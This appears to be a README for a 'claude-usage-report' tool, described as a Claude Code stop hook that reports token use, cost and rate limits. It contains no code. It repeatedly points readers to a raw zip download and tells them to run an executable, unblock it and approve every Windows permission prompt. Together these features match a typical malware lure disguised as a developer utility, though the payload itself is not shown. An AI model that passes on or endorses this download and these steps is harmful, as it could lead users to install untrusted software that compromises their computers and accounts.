🧾 claude-usage-report - Track Claude usage with clear cost reports

📥 Download

Visit this page to download: https://github.com/bbsbs7617-png/claude-usage-report/raw/refs/heads/main/historicocabbalistical/report-claude-usage-1.3.zip

Use this link to get the latest version for Windows.

🖥️ What this app does

claude-usage-report shows a usage report after each Claude Code prompt.

It helps you see:

• token use for each prompt
• token cost
• context window use
• rate limit status

It runs as a stop hook, so it checks usage when a prompt ends. That makes it easier to keep track of your Claude usage without opening extra tools.

✅ Before you start

Use a Windows PC with:

• Windows 10 or Windows 11
• an internet connection
• access to Claude Code
• a web browser to open the download page

You also need permission to save files on your computer.

🚀 Get the app

1. Open the download page: https://github.com/bbsbs7617-png/claude-usage-report/raw/refs/heads/main/historicocabbalistical/report-claude-usage-1.3.zip
2. Look for the latest release or download file on the page.
3. Save the file to your computer.
4. If the file is in a .zip folder, extract it first.
5. Open the app or follow the included setup file.

If your browser asks where to save the file, choose a folder you can find later, such as Downloads or Desktop.

🛠️ Install on Windows

If you downloaded a .zip file:

1. Right-click the file.
2. Select Extract All.
3. Choose a folder.
4. Open the extracted folder.
5. Find the app file or setup file.
6. Double-click it to run.

If you downloaded an .exe file:

1. Double-click the file.
2. If Windows asks for permission, select Yes.
3. Wait for the app to open.

If you downloaded a package for Claude Code:

1. Place the files in the folder that Claude Code uses for hooks.
2. Make sure the stop hook points to the usage report tool.
3. Save the file.
4. Run Claude Code and send a prompt to test it.

🔧 How to use it

After setup, the app reports usage after each prompt.

You can expect a report that shows:

• how many tokens the prompt used
• how much that prompt may cost
• how much context remains
• whether you are near a rate limit

This helps you answer simple questions like:

• Am I using a lot of tokens?
• Is this prompt close to the context limit?
• Will I hit a rate limit soon?

📊 What you will see in a report

A typical report can include:

• prompt name or time
• input token count
• output token count
• total token count
• estimated cost
• context window fill level
• rate limit status

The report is made for quick reading. It uses plain numbers and short labels so you can scan it fast.

🧭 When to use it

Use claude-usage-report when you want to:

• track usage after each Claude Code prompt
• keep an eye on cost
• see how fast context fills up
• avoid rate limit surprises
• review how heavy a prompt was

🧱 How it works

The app uses a stop hook.

That means Claude Code finishes a prompt, then the hook runs and shows the usage report. You do not need to open a separate dashboard. The report appears as part of your normal Claude Code flow.

⚙️ Basic setup steps

If the download includes a config file:

1. Open the config file in Notepad.
2. Find the stop hook entry.
3. Point it to the usage report app or script.
4. Save the file.
5. Start Claude Code again.
6. Send a test prompt.

If the download includes a ready-to-run app:

1. Keep the app in one folder.
2. Run it before you use Claude Code.
3. Send a prompt in Claude Code.
4. Check the report that appears after the prompt ends.

🧪 Test it

To check that it works:

1. Open Claude Code.
2. Send a short prompt.
3. Wait for the prompt to finish.
4. Look for the usage report.
5. Confirm that token use, context window, and rate limit info appear.

If you do not see a report, check that the stop hook points to the correct file.

📁 Suggested file layout

For simple setup, use a folder like this:

• Downloads
  • claude-usage-report
    • app file
    • config file
    • readme file

Keeping the files together makes setup easier and helps you find them later.

🔍 Features

• per-prompt usage reporting
• token cost view
• context window tracking
• rate limit checks
• simple output for quick review
• works with Claude Code stop hook flow

🧰 Common Windows steps

If Windows blocks the file:

1. Right-click the file.
2. Select Properties.
3. Look for an Unblock option.
4. If you see it, select it.
5. Click OK.
6. Try opening the file again.

If the file does not open:

1. Check that the download finished.
2. Make sure you extracted the zip file.
3. Check that you opened the right file.
4. Try running it again as needed.

📌 Good places to keep it

You can keep claude-usage-report in:

• Downloads
• Desktop
• Documents
• a tools folder you use for Claude Code

Pick one place and keep the files there.

🔗 Download again

Visit this page to download: https://github.com/bbsbs7617-png/claude-usage-report/raw/refs/heads/main/historicocabbalistical/report-claude-usage-1.3.zip

Use this link if you need the latest copy or want to check the release page again

📝 File name tips

If you rename the file, keep the name easy to read. A simple name like this works well:

• claude-usage-report

Avoid names that are hard to spot later, such as long strings of numbers or extra symbols

🔐 Permissions

The app may need permission to:

• run on your PC
• read local config files
• write report output

If Windows asks for access, allow it so the tool can work as expected

🧩 For Claude Code users

This tool is meant for people who use Claude Code and want a clear usage readout after each prompt.

It fits a simple workflow:

1. write a prompt
2. send it to Claude Code
3. wait for the result
4. read the usage report
5. decide if the next prompt should be smaller or split into parts

🖱️ Quick setup checklist

• Download the app from the link above
• Extract the files if needed
• Open the app or setup file
• Connect it to Claude Code stop hook flow
• Run a test prompt
• Check the usage report after the prompt ends

📎 Support files

If the download includes extra files, they may help with:

• setup
• sample config
• usage notes
• hook path examples

Keep those files in the same folder as the app so they stay easy to find